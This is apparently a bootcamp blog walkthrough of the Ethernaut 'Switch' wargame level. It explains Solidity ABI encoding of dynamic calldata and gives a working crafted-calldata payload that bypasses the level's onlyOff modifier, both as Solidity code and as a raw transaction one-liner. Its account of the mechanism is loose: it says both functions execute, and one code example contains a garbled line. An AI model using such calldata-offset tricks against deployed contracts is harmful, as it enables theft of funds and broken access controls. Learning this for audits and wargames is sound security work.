Skip links

Table of Contents

Ethernaut Level 29 Walkthrough: The Switch Challenge Explained

The Ethernaut Level 29 Switch challenge revolves around understanding how dynamic CALLDATA is constructed and interpreted by Solidity contracts. The objective is to craft a CALLDATA payload that allows a single low-level call to execute both turnSwitchOff() and turnSwitchOn() — cleverly circumventing the onlyOff modifier check within flipSwitch().

What is Ethernaut and Why Should Developers Care?

Ethernaut is an interactive game that teaches smart contract security through exploit-based problem-solving. It mimics real-world smart contract vulnerabilities and lets developers test their understanding in a controlled environment.

Each level challenges players to bypass constraints, hack logic, or exploit encoding flaws. Levels like Switch are not just games — they’re practical security puzzles that mirror attack vectors seen in actual DeFi protocols.

Understanding the Basics of the Ethernaut Switch Challenge

The Challenge Objective: Manipulating Solidity’s Dynamic CALLDATA

The goal of the Switch challenge is deceptively simple: call both turnSwitchOff() and turnSwitchOn() in a single low-level call — even though the contract’s flipSwitch() function is guarded by a onlyOff modifier.

This forces you to learn how Solidity handles dynamic calldata and how you can inject multiple function selectors into a single bytes parameter.

How Solidity Constructs and Interprets CALLDATA

Solidity uses ABI encoding to structure data sent in a transaction. Dynamic types like bytes have:

  • A 32-byte offset pointing to where the actual data begins.
  • A length field that describes how many bytes follow.
  • The actual data payload — in this case, function selectors.

Analyzing the Standard CALLDATA Encoding

Let’s say you execute the following:

switchContract.flipSwitch(abi.encodeWithSignature("turnSwitchOff()"));

This would produce the following msg.data (when logged using console.logBytes):

0x30c13ade                    // flipSwitch(bytes) selector
0000000000000000000000000000000000000000000000000000000000000020 // offset to data
0000000000000000000000000000000000000000000000000000000000000004 // length of data
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() selector

Here’s the breakdown of what you saw above:

  • The 0x20 at position 0x23 (35) indicates that the actual bytes for the dynamic argument start at byte 32.
  • At byte 0x43 (67) we see the length of the data (0x04).
  • The next 4 bytes (0x20606e15) are the selector for turnSwitchOff().

This layout follows ABI encoding rules for dynamic types:

  • The 32-byte offset indicates the position of the dynamic data segment relative to the start of the arguments block.

Constructing a Malicious Payload

To trick the contract into calling both turnSwitchOff() (to satisfy onlyOff) and then turnSwitchOn(), we add additional encoded data after the initial dynamic byte array.

Here’s the new layout:

0x30c13ade                                          // flipSwitch(bytes) selector
0000000000000000000000000000000000000000000000000000000000000060 // new offset (now 0x60)
0000000000000000000000000000000000000000000000000000000000000004 // length of turnSwitchOff
20606e1500000000000000000000000000000000000000000000000000000000 // turnSwitchOff() selector
0000000000000000000000000000000000000000000000000000000000000004 // length of turnSwitchOn
76227e1200000000000000000000000000000000000000000000000000000000 // turnSwitchOn() selector

We simply:

  • Adjust the original offset from 0x20 to 0x60, so the contract reads the dynamic data starting at byte 96.
  • Append a second dynamic call with its own 4-byte selector, turnSwitchOn().

This allows the flipSwitch function to:

  • Decode the dynamic bytes.
  • Make a low-level call to turnSwitchOff().
  • Then execute the appended selector for turnSwitchOn().

Solidity Code to Build the Payload Efficiently

This payload can be constructed in Solidity using:

bytes memory payload = bytes.concat(
  bytes4(keccak256("flipSwitch(bytes)")),         // [0-3]
  bytes32(uint256(0x60)),                         // [4-35] offset to _data (96 bytes)
  bytes32(uint256(4)),                            // [36-67] length of first call
  bytes32(bytes4(keccak256("turnSwitchOff()"))), // [68-99] turnSwitchOff selector
  bytes32(uint256(4)),                            // [100-131] length of second call
  bytes4(keccak256("turnSwitchOn()"))            // [132-135] turnSwitchOn selector (no padding required)
);

address(switchContract).call(payload);

No additional deployment is required — you’re directly exploiting the dynamic bytes decoding logic.

One-Liner Solution for the Challenge Using Console Commands

In a test console (like Hardhat or Remix), this one-liner works:

await sendTransaction({from: player, to: contract.address, data:"0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000420606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e12"})

This solves the level instantly using raw calldata. This payload is extremely gas efficient and does not require any custom deployment, you’re directly exploiting the dynamic decoding logic.

Multi-function CALLDATA Composition

You can extend this logic to chain multiple functions using nested dynamic calldata. For instance:

// Initialize a uint256 array with one element
uint256 ;
foo[0] = 42;

// Create the payload bytes
bytes memory payload = bytes.concat(
    // [0x00 - 0x03] Function selector: targetFunction(bytes,bytes)
    bytes4(keccak256("targetFunction(bytes,bytes)")),

    // [0x04 - 0x23] Offset to first dynamic argument (selector1) = 0x40 (64 bytes)
    bytes32(uint256(0x40)),

    // [0x24 - 0x43] Offset to second dynamic argument (selector2 with array) = 0x80 (128 bytes)
    bytes32(uint256(0x80)),

    // --- First Dynamic Argument (Selector1) ---

    // [0x44 - 0x63] Length of selector1 (4 bytes)
    bytes32(uint256(4)),

    // [0x64 - 0x83] Selector1: function1()
    bytes32(bytes4(keccak256("function1()"))),

    // --- Second Dynamic Argument (Selector2 + array) ---

    // [0x84 - 0xa3] Length of selector2 payload (4 bytes)
    bytes32(uint256(4)),

    // [0xa4 - 0xc3] Selector2: function2(uint256[])
    bytes32(bytes4(keccak256("function2(uint256[])"))),

    // [0xc4 - 0xe3] Offset to the array data within selector2 payload = 0x20 (32 bytes)
    bytes32(uint256(0x20)),

    // [0xe4 - 0x103] Length of array: 1 element
    bytes32(uint256(1)),

    // [0x104 - 0x123] foo[0] = 42
    bytes32(uint256(42))
);

This technique allows multiple function calls in a single transaction, useful for batching or flash loan operations—but also dangerous if unchecked.

Why Mastering the Switch Challenge Matters for Smart Contract Security

The Switch challenge is a lesson in deep Ethereum Virtual Machine (EVM) mechanics. You learn:

  • How Solidity encodes dynamic types
  • How calldata offsets and selectors are parsed
  • How to build powerful low-level exploits without redeploying code

These skills are crucial for:

  • Performing smart contract audits
  • Defending against calldata-based attacks
  • Building secure, gas-efficient smart contracts

If you’re serious about smart contract security, Ethernaut is the playground where you sharpen those skills.

Finally… 

The Switch challenge exemplifies how deeply understanding Ethernaut, Solidity, and the EVM can help developers not just break contracts — but secure them. It’s a small puzzle with massive implications for smart contract design.

If you’re ready to explore more challenges, Ethernaut has dozens more waiting —

Frequently Asked Questions (FAQs) — Common Questions About the Ethernaut Switch Challenge

What is calldata in Solidity and why is it important?

Calldata is the input data sent with a transaction to a smart contract. It determines which function is called and what arguments are passed. Understanding it is key to debugging and securing contracts.

How does the Switch challenge exploit Solidity’s calldata encoding?

It uses knowledge of ABI encoding to trick the contract into executing two functions in a single dynamic bytes payload, bypassing modifier constraints.

Can I use this calldata manipulation technique in real-world contracts?

Yes — but responsibly. It’s used in upgradeable contracts, proxies, and batching. Misuse can create vulnerabilities if you don’t validate calldata properly.

What tools can help me analyze and craft calldata?

  • Remix
  • Hardhat/Foundry with console logs
  • Ethers.js for manual calldata crafting
  • ABI encoder/decoders for low-level inspection

Ethernaut Level 29- Switch Challenge Explained 2025

Metana Guarantees a Job 💼

Plus Risk Free 2-Week Refund Policy ✨

You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you’re not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet!

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

You may also like

Metana Guarantees a Job 💼

Plus Risk Free 2-Week Refund Policy

You’re guaranteed a new job in web3—or you’ll get a full tuition refund. We also offer a hassle-free two-week refund policy. If you're not satisfied with your purchase for any reason, you can request a refund, no questions asked.

Web3 Solidity Bootcamp

The most advanced Solidity curriculum on the internet

Full Stack Web3 Beginner Bootcamp

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Learn foundational principles while gaining hands-on experience with Ethereum, DeFi, and Solidity.

Events by Metana

Dive into the exciting world of Web3 with us as we explore cutting-edge technical topics, provide valuable insights into the job market landscape, and offer guidance on securing lucrative positions in Web3.

Subscribe to Lettercamp

We help you land your dream job! Subscribe to find out how

Summer Career Kickstart Book a call before Jun 16th to get 20% OFF!
Days
Hours
Minutes
Seconds

New Application Alert!

A user just applied for Metana Web3 Solidity Bootcamp. Start your application here : metana.io/apply

Get a detailed look at our Full Stack Bootcamp

Understand the goal of the bootcamp

Find out more about the course

Explore our methodology & what technologies we teach

You are downloading 2025 updated Full stack Bootcamp syllabus!

Download the syllabus to discover our Full-Stack Software Engineering Bootcamp curriculum, including key modules, project-based learning details, skill outcomes, and career support. Get a clear path to becoming a top developer.

Software Engineering Syllabus Download

"*" indicates required fields

This field is for validation purposes and should be left unchanged.